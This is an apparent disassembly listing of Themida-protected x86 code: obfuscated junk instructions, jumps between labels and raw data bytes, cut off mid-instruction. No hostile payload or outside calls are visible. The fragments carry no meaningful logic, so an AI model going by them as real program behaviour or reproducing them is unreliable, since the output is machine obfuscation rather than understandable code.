jmp loc_54E9F7 ; --------------------------------------------------------------------------- dd 468h, 0E9015D00h, 74FF515Dh, 8F590424h, 0E95C2404h dd 25D5h, 75CE956h, 79050000h, 2D4EFD66h, 24533F7Ah, 7A05F029h dd 2D24533Fh, 4EFD6679h, 0AFA2E95Eh, 5366FFFFh, 0FFD8F3E9h dd 241C87FFh, 0ECEE9h, 0C1816600h, 29E95DF3h, 0FFFFFFE9h dd 1E92434h, 5200005Ch, 0EA0D58BAh, 8EAC13Ch, 0C61F281h dd 0C281466Fh, 155B58D3h, 8106E2C1h, 303040C2h, 0E9D18914h dd 4774h ; --------------------------------------------------------------------------- loc_54CBF4: ; CODE XREF: Themida_:0054DA73j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_550ABB ; --------------------------------------------------------------------------- db 0BEh dd 416A1C7Eh, 5EE9DEF7h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CC13: ; CODE XREF: Themida_:005513ADj add esi, eax push edx mov edx, 6EF95FA6h jmp loc_54766F ; --------------------------------------------------------------------------- dd 2474FF53h, 241C8B04h, 0E9595451h, 0FFFFA951h ; --------------------------------------------------------------------------- loc_54CC30: ; CODE XREF: Themida_:0054A346j add esp, 4 and eax, edx push dword ptr [esp] jmp loc_5510F4 ; --------------------------------------------------------------------------- loc_54CC40: ; CODE XREF: Themida_:0054F534j mov eax, [esp] add esp, 4 push ebp jmp loc_550012 ; --------------------------------------------------------------------------- dd 8904EC83h, 4812424h, 424h, 0CE0EE900h, 8B66FFFFh, 0EC83240Ch dd 241C8904h, 0B850E389h, 4, 0FFE03CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CC75: ; CODE XREF: Themida_:0054FA4Fj pop edi xchg edx, [esp] pop esp shl ebx, 8 sub ebx, 9D7FF6FCh jmp loc_54A34B ; --------------------------------------------------------------------------- loc_54CC88: ; CODE XREF: Themida_:0054F2D7j pop esi mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov esi, [esp] push ebp mov ebp, esp jmp loc_547192 ; --------------------------------------------------------------------------- dw 8159h dd 4C4h, 7B1C6800h, 2C890000h, 2072BD24h, 0A1E97E91h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CCC3: ; CODE XREF: Themida_:00552535j mov [esp], eax mov eax, 713A5387h push eax pop edx mov eax, [esp] jmp loc_54BED2 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 4C481h, 0E8010000h, 0FA70642Dh, 242C8B47h, 81E78957h dd 4C7h, 62056800h, 7FE90000h, 31000010h, 5DE95DE8h, 31000053h dd 3C33243Ch, 24248B24h, 8904EC83h, 6FBE2434h, 0E929C07Eh dd 261h, 0FFC58366h, 0E4ED8166h, 3659E926h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CD2A: ; CODE XREF: Themida_:00552B69j mov esi, 23AB3A39h xor esi, 200068F9h xor ecx, esi pop esi jmp loc_54CD6C ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0C8B60F66h, 618D6857h, 24890000h, 4BD5524h, 1000000h dd 5D04246Ch, 81243C8Bh, 4C4h, 4B95100h, 0E9000000h, 3009h ; --------------------------------------------------------------------------- loc_54CD6C: ; CODE XREF: Themida_:0054CD38j push eax mov eax, 5899223Eh jmp loc_547C1F ; --------------------------------------------------------------------------- db 0FFh a4Xh2a db '4$Xh2A',0 align 10h dd 54241489h, 0D1B9515Ah, 81419152h, 6EAD33C1h, 59CA01BEh dd 559AE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CD9A: ; CODE XREF: Themida_:00552D2Dj mov [esp], edi sub esp, 4 mov [esp], ebp mov ebp, 35612C64h shl ebp, 8 or ebp, 254B23FEh inc ebp sub esp, 4 mov [esp], ecx mov ecx, 2F552E9Ch and ecx, 5A292550h neg ecx shr ecx, 4 sub ecx, 39A35488h add ecx, 63607397h sub ebp, ecx pop ecx mov edi, ebp jmp loc_54B24F ; --------------------------------------------------------------------------- db 89h, 0E3h, 0E9h dd 0FFFFBFF4h, 565D5455h, 0FFED5FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CDF1: ; CODE XREF: Themida_:0054EA7Fj mov esi, [esp] add esp, 4 mov ebx, edi pop edi sub edx, 701C4986h add edx, ebx add edx, 701C4986h jmp loc_549C83 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 3173E9h, 240C8B00h, 104C483h, 685251D8h, 21B6269h, 4E2C15Ah dd 3530E94Ah, 0C80F0000h, 580B68h, 24148900h, 0FFA21DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CE3D: ; CODE XREF: Themida_:0054A26Fj push ebx mov ebx, 4 sub edx, ebx pop ebx xchg edx, [esp] mov esp, [esp] mov [esp], ecx push 1 mov ecx, [esp] push ecx jmp loc_54939F ; --------------------------------------------------------------------------- db 51h, 0FFh, 74h dd 8F590424h, 248B2404h, 2424D324h, 0A082E99Ch, 0E3C0FFFFh dd 1B25208h, 0C280C2FEh, 5AD33097h, 8020C380h, 0F3807FF3h dd 2AF8E977h, 685A0000h, 4CE8h, 88241489h, 88DEF6EEh, 24148BF5h dd 4C481h, 0C5800000h, 0B1EAE9DBh, 575BFFFFh, 357C3CBFh dd 312E962h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CEBA: ; CODE XREF: Themida_:005491DCj xor [esp], ecx xor ecx, [esp] xor [esp], ecx jmp loc_54D554 ; --------------------------------------------------------------------------- dd 348B5456h, 4C48324h, 68505752h, 287A61B1h, 4E16E9h dd 0FFC72900h, 34FF2434h, 0C4815824h, 4, 457EE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CEF2: ; CODE XREF: Themida_:00547201j push ecx mov ecx, edi mov edx, ecx pop ecx mov ebp, edx jmp loc_54C81D ; --------------------------------------------------------------------------- db 2Dh dd 6FCE0758h, 3CEE055Fh, 65E94EFAh db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CF0F: ; CODE XREF: Themida_:00546EFCj push cx push eax jmp loc_5517F9 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF9FD8h, 5253565Ah, 5921F1BAh, 5AD38940h, 0F51735BEh dd 5BDE3168h, 6636F681h, 504E7ED4h, 0C8486AB8h, 6E0C155h dd 0FD27BE2Dh, 2A4BE93Bh, 8B660000h, 6BE92404h, 0B8000005h dd 4, 0FFCF7AE9h, 244481FFh, 1D1CF804h, 2434FF24h, 0E0895059h dd 405h, 4C08300h, 5C240487h, 1239E9h, 82EE8100h, 0E9292B5Dh dd 0FFFFA6B9h ; --------------------------------------------------------------------------- loc_54CF88: ; CODE XREF: Themida_:0054D894j pop ebx push esi jmp loc_547139 ; --------------------------------------------------------------------------- db 54h dd 4C18159h, 53000000h, 235CE9h, 7EAC100h, 4FD8C281h, 0EC835278h dd 24148904h, 0FB243481h, 5D2AAA27h, 0FFAD3FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CFB9: ; CODE XREF: Themida_:0054B7AFj pop ebx push eax mov eax, 279867CAh add eax, 23730A72h xor eax, 0FBFE4FACh jmp loc_54954B ; --------------------------------------------------------------------------- db 89h dd 17E9240Ch, 0C0FFFFD2h, 0C8FE05E0h, 0E0C0C004h, 1CB15102h dd 144AE9h, 3E685F00h, 8900004Fh, 18E92434h, 83000048h dd 0FF5204C2h, 5A042474h, 59D7E9h, 24048000h, 0E95A66FFh dd 2CFFh, 803BCF80h, 0FE8808F7h, 0FFBAF3E9h, 48F5AFFh dd 34FF5C24h, 2434FF24h, 0E924148Bh, 0FFFFAEB3h, 0FF9EBFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D035: ; CODE XREF: Themida_:0054BB06j pop dword ptr [esp] mov esp, [esp] shr eax, 0Ch xor eax, ecx push 588Bh mov [esp], eax jmp loc_551E2C ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 4C481h, 0C4830000h, 4B2A6804h, 1C890000h, 1968BB24h dd 0EB815ED8h, 0FFFFFFFFh, 8D2EB81h, 57513009h, 12636DBFh dd 7666B914h, 0F9317896h, 51243C8Bh, 0E955E189h, 0FFFFB97Dh dd 5205E0C1h, 1C6C91BAh, 0C2814Fh, 31446FF2h, 0C6895AD0h dd 0C1DEF758h, 0D8E905EEh, 66FFFFECh, 66CE18BDh, 5D66EA29h dd 5AD32966h, 1EB8166h, 0F3816600h, 5E9B450h db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D0C7: ; CODE XREF: Themida_:0054FB37j shr edx, 1 jmp loc_547D43 ; --------------------------------------------------------------------------- dw 4BEh dd 1000000h, 0EB815EF3h, 4, 5C241C87h, 0B2241489h, 0C1EA8098h dd 80BDC280h, 0D700D6EAh, 0E924148Bh, 0FFFFC16Ah, 88BF575Eh dd 2978C673h, 5F08247Ch, 4247401h, 7388BB53h, 448178C6h dd 728F0824h, 5C017242h, 6C810824h, 728F0824h, 1C8B7242h dd 0DB36E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D12A: ; CODE XREF: Themida_:0054C6B9j add ecx, 4 jmp loc_54BA7C ; --------------------------------------------------------------------------- db 89h, 0E5h, 81h dd 4C5h, 0F2E95700h, 52FFFFDBh, 7B58E0BAh, 5AD3318Dh, 4EC81h dd 34890000h, 2A27BE24h, 0F729036Bh, 0E9DF015Eh, 0E19h dd 1782E381h, 0EC836A57h, 24148904h, 0FF9E7FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D175: ; CODE XREF: Themida_:0054A01Dj xor edx, edi xor edi, edx push edx jmp loc_549D2F ; --------------------------------------------------------------------------- db 81h dd 4C3h, 0AAA6E900h, 0E959FFFFh, 102Bh, 0F75AD301h, 0E9DBF7D3h dd 0FFFFA65Ah, 2BF57h, 0FD010000h, 0FF9DB2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D1A9: ; CODE XREF: Themida_:00549B6Ej push dword ptr [esp] mov ecx, [esp] jmp loc_54AE04 ; --------------------------------------------------------------------------- loc_54D1B4: ; CODE XREF: Themida_:0054FE1Dj shr bh, 2 jmp loc_547FCE ; --------------------------------------------------------------------------- aWKQhrSsc db 'W¿ª%ÓqhÝ-™é—',0 align 4 aOsY db 'OéœY',0 align 2 dw 0C581h dd 537D7381h, 4EC8355h, 0BE243489h, 4F385007h, 43B4E9h dd 24348900h, 6614CFBEh, 5EEC15Bh, 46A3EE81h, 51506F1Ch dd 99389168h, 0E9815972h, 60D95F30h, 3018E9h, 0E0C18100h dd 17F2301h, 0E0E981C1h, 587F2301h, 0FFDE1FE9h, 74BF57FFh dd 8116652Fh, 0ADFC1AEFh, 0E9FB2911h, 0FFFFE6DEh, 0CA68525Dh dd 5A1B1A44h, 5735B850h, 0F75063D9h, 0E9582414h, 46B5h dd 8124148Bh, 4C4h, 2C18300h, 0FFFC00E9h, 0EEE94DFFh, 5AFFFFC1h dd 3C8BFA01h, 4C48124h, 21000000h, 685AD7h, 0E9000000h dd 0FFFFE879h, 240C8B66h, 0FFCF9EE9h, 5DEA01FFh, 4E78BD55h dd 0F7457BA0h, 84F581D5h, 1845FB1h, 0FF525DEAh, 0E9042474h dd 2842h, 4EC81h, 3C890000h, 428E924h, 0EF880000h, 0FFDC40E9h dd 243489FFh, 6BAA68h, 43FBE900h, 0C1880000h, 8859CE88h dd 6DE95AF1h db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D2D3: ; CODE XREF: Themida_:00550D9Dj push 7BBAh mov [esp], edx mov ebp, [esp] add esp, 4 mov edx, [esp] push 6101h jmp loc_54745D ; --------------------------------------------------------------------------- dw 0E952h dd 0FFFFA15Ch ; --------------------------------------------------------------------------- loc_54D2F4: ; CODE XREF: Themida_:0054C319j mov ebp, esi pop esi jmp loc_54F093 ; --------------------------------------------------------------------------- loc_54D2FC: ; CODE XREF: Themida_:00550CC5j push dword ptr [esp] jmp loc_5498FF ; --------------------------------------------------------------------------- dd 0CFFEDFF6h, 208BEF80h, 2434FFF9h, 4C4835Bh, 0E1C0C9FEh dd 8F18002h, 0E980C1FEh, 0E9C83067h, 53ABh, 0E9515059h dd 5A0Bh, 0CF0028B1h, 0FFC7FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D339: ; CODE XREF: Themida_:00548B0Bj xor esi, 953AA254h jmp loc_54A0CF ; --------------------------------------------------------------------------- dd 242C8151h, 4E1559Ch, 9CC2815Ah, 0E904E155h, 0FFFFBD10h ; --------------------------------------------------------------------------- loc_54D358: ; CODE XREF: Themida_:0054DB6Cj shr ecx, 0Bh push ebx jmp loc_54F529 ; --------------------------------------------------------------------------- db 57h, 0BFh, 0B7h dd 0E934B337h, 0FFFFD82Dh, 81E9028Fh, 81FFFF9Bh, 4C5h dd 4C58100h, 55000000h, 3C9CE9h, 4C28100h, 55000000h, 4BDh dd 90C28100h, 8144ED31h, 0CA1123C2h, 81EA0162h, 0CA1123EAh dd 90EA8162h, 8B44ED31h, 0C483242Ch, 24148704h, 11D7685Ch dd 4890000h, 53585724h, 0DA89C389h, 24048B5Bh, 61AF68h dd 24348900h, 0C681E689h, 4, 0F6685751h, 5F26C416h, 4EF7F781h dd 0EFC14ABAh, 3D9DE905h, 30AC0000h, 1AE2E9D8h, 34FF0000h dd 6E685F24h, 0E9000062h, 962h, 8904EC83h, 0B4E92424h dd 89000029h, 19BF243Ch, 0F7553549h, 0D7F747D7h, 0FFB558E9h dd 799368FFh, 0E9585411h, 0FFFFB458h ; --------------------------------------------------------------------------- loc_54D42C: ; CODE XREF: Themida_:00549C5Ej mov [esp], ebx add dword ptr [esp], 659A73E1h push dword ptr [esp] mov eax, [esp] push 50A0h mov [esp], esi mov esi, esp add esi, 4 push ecx mov ecx, 4 add esi, ecx jmp loc_54BCFE ; --------------------------------------------------------------------------- loc_54D459: ; CODE XREF: Themida_:0054EBA0j sub esi, eax pop eax shr esi, 6 xor esi, 114F5F46h and edx, esi pop esi neg edx push eax jmp loc_5501A9 ; --------------------------------------------------------------------------- dd 0E924048Bh, 2300h, 1876C88h, 592434FFh, 4C481h, 1FE90000h dd 89000014h, 5A502414h, 0FFCC2CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D495: ; CODE XREF: Themida_:005477DBj sub esi, 33A644B4h add esi, ebx push edi mov edi, 2D9C0F6Eh shr edi, 7 and edi, 799B0A9Dh and edi, 104948D7h jmp loc_547B01 ; --------------------------------------------------------------------------- db 1 dd 0BE75E9EEh, 5453FFFFh, 4C3815Bh, 56000000h, 2BEh, 30EB8100h dd 1048542h, 1474E9F3h, 0CF010000h, 0F129E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D4E2: ; CODE XREF: Themida_:005525F8j xor esi, 32D82FB4h jmp loc_551B49 ; --------------------------------------------------------------------------- db 81h, 0C9h, 4Bh dd 81786626h, 0C2331DC1h, 4EC813Ch, 89000000h, 33682434h dd 5E6B6B48h, 3CFCE9h, 24048900h, 4F9DBB53h, 9DB80483h dd 296B81B1h, 0C3295BD8h, 24348B58h, 4C481h, 85680000h dd 8900001Dh, 0BDE92404h, 8BFFFF99h, 0C481242Ch, 4, 4244431h dd 0FFAF26E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D549: ; CODE XREF: Themida_:00547C09j sub edi, 0C6060935h jmp loc_54ABF8 ; --------------------------------------------------------------------------- loc_54D554: ; CODE XREF: Themida_:0054CEC3j push 5167h mov [esp], ecx sub esp, 4 jmp loc_55168D ; --------------------------------------------------------------------------- dd 4A30F66h, 85E99C24h, 0BEFFFF99h, 29032341h, 196E9h dd 24248B00h, 5E08950h, 4, 0FFAC60E9h, 240420FFh, 9962E99Ch dd 4F5EFFFFh, 7FE9CF81h, 0E7C14A52h, 0E4C78105h, 81101002h dd 0E350ABC3h, 81FB0179h, 0E350ABEBh, 0C3815F79h, 4, 0DAD68h dd 241C8900h, 24CFE9h, 81E28900h, 4C2h, 4C28300h, 5C241487h dd 2C5ABA52h, 0D6313E7Ch, 0ABEA815Ah, 10F9D23h, 0ABC281F2h dd 0E90F9D23h, 3D1Ch, 0F368E389h, 0E9000014h, 0FFFFA39Dh dd 0FC3305Ah, 34FFC0B6h, 0CEE95387h, 68FFFFE1h, 5A0B6231h dd 4F04E95Bh, 0C4810000h, 4, 4905E9h, 5BFD3000h, 0FED5B050h dd 2C7504C0h, 34A12447h, 284F3462h, 0EDC058C5h, 0E9EDD007h dd 22E1h, 0EBECE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D646: ; CODE XREF: Themida_:00547912j add esp, 4 add esi, 3AFE667Ch jmp loc_548B0A ; --------------------------------------------------------------------------- loc_54D657: ; CODE XREF: Themida_:0054AA4Bj add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx mov ebx, 19FA4433h shr ebx, 7 jmp loc_549FD4 ; --------------------------------------------------------------------------- loc_54D677: ; CODE XREF: Themida_:00552156j mov edx, esp add edx, 4 add edx, 4 jmp loc_54FE65 ; --------------------------------------------------------------------------- loc_54D687: ; CODE XREF: Themida_:0054F5CAj inc edi xor edi, 168F5B79h push edx push 528542F2h pop edx dec edx sub edx, 11646CFBh add edx, 899520Dh sub edi, edx pop edx jmp loc_5475A5 ; --------------------------------------------------------------------------- loc_54D6AA: ; CODE XREF: Themida_:0054965Ej mov ebx, [esp] add esp, 4 push ebp push edx mov edx, 1E2B311Fh jmp loc_54FCD6 ; --------------------------------------------------------------------------- db 31h dd 242C8BEAh, 4C481h, 0D5010000h, 8124148Bh, 4C4h, 0FAC2E900h dd 0FF54FFFFh, 815F2434h, 4C4h, 4EC8300h, 55243489h, 0FFF3A8E9h dd 0D830ACFFh, 5AD86866h, 0FFD86CE9h, 24248BFFh, 0F66F9F6h dd 6866CCB6h, 4CE96007h, 8900000Dh, 56525EF0h, 1B251068h dd 0D6F75E3Fh, 488CE81h, 0EE812FDEh, 0EF546A3Fh, 315EF289h dd 3AE2E9D0h, 34FF0000h, 42E95824h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D73B: ; CODE XREF: Themida_:0054FAB1j push esp pop esi add esi, 4 jmp loc_551991 ; --------------------------------------------------------------------------- dd 24048B66h, 4BDB68h, 0B0F5E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D756: ; CODE XREF: Themida_:00547DA8j xor ebx, [esp] mov esp, [esp] add esp, 4 jmp loc_547E4B ; --------------------------------------------------------------------------- loc_54D767: ; CODE XREF: Themida_:00551F51j shr ebx, 3 sub ebx, 73A16298h and ebx, 42624710h sub ebx, offset sub_42470C sub esi, 450B2C35h jmp loc_54BE4B ; --------------------------------------------------------------------------- loc_54D787: ; CODE XREF: Themida_:0054F951j add esp, 4 jmp loc_550154 ; --------------------------------------------------------------------------- aXsv@ db 'XéV@',0 dd 90EA8100h, 5F55CE65h, 2474FF52h, 48F5A04h, 0C8FFE924h dd 8B66FFFFh, 52682404h, 8900006Dh, 2AE92414h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D7BB: ; CODE XREF: Themida_:005474FDj mov [esp], esi mov esi, 26C22257h mov edx, esi jmp loc_5481FA ; --------------------------------------------------------------------------- loc_54D7CA: ; CODE XREF: Themida_:00546FE1j pop esi add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] push esi mov esi, esp push edx jmp loc_551D68 ; --------------------------------------------------------------------------- loc_54D7E6: ; CODE XREF: Themida_:0054781Dj shl ebp, 8 not ebp not ebp jmp loc_54F730 ; --------------------------------------------------------------------------- dw 2BFh dd 5000000h, 5D145EEAh, 0C8E9F801h, 4700002Ch, 341E781h dd 0E9552840h, 0FFFFB0FFh, 1AE9F729h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D817: ; CODE XREF: Themida_:0054EEEEj add ebx, 4 jmp loc_54C952 ; --------------------------------------------------------------------------- loc_54D81F: ; CODE XREF: Themida_:0054C799j add ebx, 15402E7Eh mov [ebx], dl pop ebx mov edx, [esp] add esp, 4 mov ecx, [esp] push ebx jmp loc_55043F ; --------------------------------------------------------------------------- db 89h dd 0B5E92404h, 8BFFFF96h, 0EC81240Ch, 4, 89240489h, 405E0h dd 0C0830000h, 24048704h, 4EC835Ch, 0E9241C89h, 0FFFFDD34h ; --------------------------------------------------------------------------- loc_54D864: ; CODE XREF: Themida_:00549909j push dword ptr [esp] pop eax push edi push esp jmp loc_54826B ; --------------------------------------------------------------------------- db 53h dd 0C381E389h, 4, 3304C383h, 1C31241Ch, 241C3324h, 0E1FDE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D88A: ; CODE XREF: Themida_:0054B169j push dword ptr [esp] pop esi add esp, 4 jmp loc_54CF88 ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 8924248Bh, 4DE92404h, 81FFFF96h, 0B6324C1h, 78C98100h dd 8147D931h, 85B49EC1h, 59CB011Dh, 668C381h, 61E929F6h dd 81000008h, 19052EC6h, 5EF0290Ch, 4E42E9h, 6FEB8100h dd 50784C3Eh, 9EAE5FB8h, 58C3290Fh, 0D5769005h, 2DD80129h dd 29D57690h, 81241C8Bh, 4C4h, 24048700h, 66F1F65Ch, 53CCB60Fh dd 0C381E389h, 4, 3698E9h db 0 ; --------------------------------------------------------------------------- loc_54D911: ; CODE XREF: Themida_:00547C2Bj mov [esp], ebx jmp loc_54FE9F ; --------------------------------------------------------------------------- loc_54D919: ; CODE XREF: Themida_:00551DA3j mov [esp], edi mov edi, 20000h and eax, edi push dword ptr [esp] pop edi push ebp push esp pop ebp jmp loc_54843C ; --------------------------------------------------------------------------- db 0C1h dd 0C78104E7h, 687F1DE1h, 1915E781h, 0E7C173F7h, 0C4C78106h dd 0E97E7FBFh, 0FFFFAA2Eh, 201426BEh, 0E9F5011Bh, 34C0h ; --------------------------------------------------------------------------- loc_54D958: ; CODE XREF: Themida_:0054B4D1j add esp, 4 add ebx, 44BB1BF7h add ebx, edi sub ebx, 44BB1BF7h jmp loc_551DA8 ; --------------------------------------------------------------------------- dw 8B66h dd 89522404h, 4C281E2h, 83000000h, 148704EAh, 24248B24h dd 68242C89h, 0B38h, 4EC81h, 8F540000h, 4812404h, 424h dd 318FE900h, 1CF70000h, 49E99C24h, 2CFFFF95h, 148B66F9h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5519E7 ; --------------------------------------------------------------------------- aLSs3 db '‹<$Sé3',0Dh,0 dw 6800h dd 289Bh, 0E9240C89h, 0FFFFFC5Ch ; --------------------------------------------------------------------------- loc_54D9E4: ; CODE XREF: Themida_:0054A135j inc edi xor edi, 3CEB1419h add ebp, edi pop edi xchg ebp, [esp] pop esp add edx, 4 jmp loc_547060 ; --------------------------------------------------------------------------- aRSif db 'R¶³é‰F',0 dd 89DA8900h, 8B5B5AD1h, 0C4832404h, 8BC83104h, 0C483240Ch dd 0A150E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DA1E: ; CODE XREF: Themida_:005525EDj push esi push ebp push edx mov edx, 0FF00318h add edx, 68675C55h jmp loc_551069 ; --------------------------------------------------------------------------- db 5Eh, 1, 0F7h dd 55F5C781h, 505E68FBh, 2B8h, 58C70100h, 5C243C87h, 2404D366h dd 94A2E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DA52: ; CODE XREF: Themida_:00548351j pop ebx add eax, ecx add eax, 77F70E67h pop ecx push eax push dword ptr [esp+4] mov eax, [esp] jmp loc_552B5E ; --------------------------------------------------------------------------- dd 148BD128h, 51A9E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54DA72: ; CODE XREF: Themida_:00547325j push edx jmp loc_54CBF4 ; --------------------------------------------------------------------------- dd 9C241CF6h, 0FF9473E9h, 11BDBDFFh, 25E95BABh, 8BFFFFE4h dd 0F7662424h, 9A6866F9h, 1489663Ch, 9C506624h, 0FF9453E9h dd 7FBA52FFh, 506CF113h, 0C279DDB8h, 58C23117h, 30EBBB53h dd 34E97AF8h, 2CFFFFCEh, 24148B79h, 0FFCDD1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DAC5: ; CODE XREF: Themida_:0054DEB8j sub eax, 4 xchg eax, [esp] pop esp jmp loc_551A20 ; --------------------------------------------------------------------------- db 0BAh, 83h, 2Ch dd 0D68979C8h, 39EE815Ah, 57182A4Eh, 0BFh, 2DC78100h, 81291101h dd 0B51F10C7h, 51F72925h, 657BC9B9h, 0E9D9F705h, 0FFFFCAB6h dd 0EDE95D5Ch, 59FFFF93h, 0E95DEF01h, 0FFFFA5BAh ; --------------------------------------------------------------------------- loc_54DB10: ; CODE XREF: Themida_:00550542j shl esi, 5 push 67Eh mov [esp], edi mov edi, 7A5F5C44h push edx mov edx, 5BAF7BAEh sub edi, edx pop edx or edi, 28AD1863h or edi, 3CFE08FFh xor edi, 6B75C43Fh add esi, edi push dword ptr [esp] pop edi push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push esi xor dword ptr [esp], 251A2787h pop ebx xor ebx, 251A2787h mov esi, [esp] add esp, 4 and ecx, ebx pop ebx jmp loc_54D358 ; --------------------------------------------------------------------------- db 66h, 8Bh, 1Ch dd 66E95324h, 5CFFFFF2h, 0E902C283h, 47FFh, 0FF3877FFh dd 52592434h, 0C281E289h, 4, 4EA81h, 14870000h, 4044E924h dd 0E9C10000h, 0B711E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DBAA: ; CODE XREF: Themida_:0054E6A8j sub ecx, 3A823AF4h push ebp mov ebp, 248C4BAFh neg ebp not ebp xor ebp, 64482AD0h add ecx, ebp pop ebp or ecx, 3B5C1DCFh sub ecx, 49138195h sub eax, ecx pop ecx sub esp, 4 jmp loc_54EAE1 ; --------------------------------------------------------------------------- db 68h, 1Dh, 25h dd 815B538Bh, 14060FC3h, 0D8C38148h, 896460D4h, 0BF575BD9h dd 2AA9334Ch, 3FB3E9h, 24148B00h, 81E18951h, 4C1h, 4C18100h dd 87000000h, 5D5C240Ch, 4246C81h, 241D1CF8h, 4244C01h dd 0FFF338E9h, 0E9D101FFh, 0FFFFF620h, 54242C89h, 0E9242C8Bh dd 0FFFFCC42h, 0E932FF64h, 0FFFF92B4h, 5C24048Fh, 0FFEAACE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DC49: ; CODE XREF: Themida_:0054F946j sub [edi+24h], ebx pop ebx loc_54DC4D: ; CODE XREF: Themida_:0054767Ej push 6C3Ch mov [esp], edx push ebx add dword ptr [esp], 349528F2h pop edx push esi push 349528F2h jmp loc_551E49 ; --------------------------------------------------------------------------- db 29h, 0D3h, 5Ah dd 8324148Bh, 0D82904C4h, 83241C8Bh, 586804C4h, 89000021h dd 72BF243Ch, 47353035h, 0FFD8B7E9h, 241C33FFh, 2404895Ch dd 0FFD0C3E9h, 0CB8858FFh, 0DCEBE959h, 8957FFFFh, 4C781E7h dd 81000000h, 4C7h, 243C8700h, 66C3315Ch, 35E930FFh, 68FFFF92h dd 7CF5h, 24048F54h, 4240483h, 0E9240C8Bh, 574h ; --------------------------------------------------------------------------- loc_54DCD4: ; CODE XREF: Themida_:0054B74Cj add ebp, 2D8DC35Ch sub edx, ebp pop ebp mov ebx, edx pop edx xor ebp, ebx mov ebx, [esp] add esp, 4 mov eax, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_550695 ; --------------------------------------------------------------------------- db 0F6h, 0DDh, 80h dd 0C5FE4DF5h, 0E905E5C0h, 0FFFFBDAFh ; --------------------------------------------------------------------------- loc_54DD08: ; CODE XREF: Themida_:005492A0j add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_55236F ; --------------------------------------------------------------------------- db 56h, 89h, 0E6h dd 0FFD7C1E9h, 8BE831FFh, 7E9242Ch, 53FFFFC2h, 0FD88C788h dd 0FFD253E9h, 0F2E950FFh, 89FFFFBEh, 2434FFF8h, 4C4835Fh dd 34FFC201h, 0D463E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DD4E: ; CODE XREF: Themida_:0054C54Dj sub esp, 4 mov [esp], ebx add dword ptr [esp], 627D710Dh pop dword ptr [edi+24h] jmp loc_54E821 ; --------------------------------------------------------------------------- dw 489h dd 48146824h, 3CE90000h, 0F7FFFF99h, 0F3C9E9D3h, 489FFFFh dd 7D98B824h, 0BD557662h, 4F680A1Ch, 0FFEF6EE9h, 685550FFh dd 6AC77C52h, 17DDE9h, 24048100h, 4, 40558h, 0C0830000h dd 24043302h, 33240431h, 248B2404h, 4EC8324h, 0FFD508E9h dd 505954FFh, 11C5E956h, 0E2C10000h, 1ABF5706h, 0F710BE12h dd 0E9DFF7DFh, 0FFFFDD5Dh, 24048F5Bh, 0E924248Bh, 1909h dd 0BB59A4B9h, 1E98125h, 55000000h, 0AD5BE4BDh, 3DFDE937h dd 525D0000h, 2722BE56h, 0C6814F3Eh, 0C942B5h, 962BC681h dd 0F289AFF8h, 0F7E9535Eh db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DE17: ; CODE XREF: Themida_:0054C3C5j push dword ptr [esp+4] mov eax, [esp] push eax jmp loc_54BABF ; --------------------------------------------------------------------------- loc_54DE24: ; CODE XREF: Themida_:0054877Fj push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 jmp loc_54BA19 ; --------------------------------------------------------------------------- dd 0E9243C87h, 0FFFFC85Bh, 7CED8158h, 294CAE11h, 7CC581D5h dd 894CAE11h, 834A5DEAh, 80E904ECh db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DE5B: ; CODE XREF: Themida_:00547F8Fj mov eax, esp push edi push 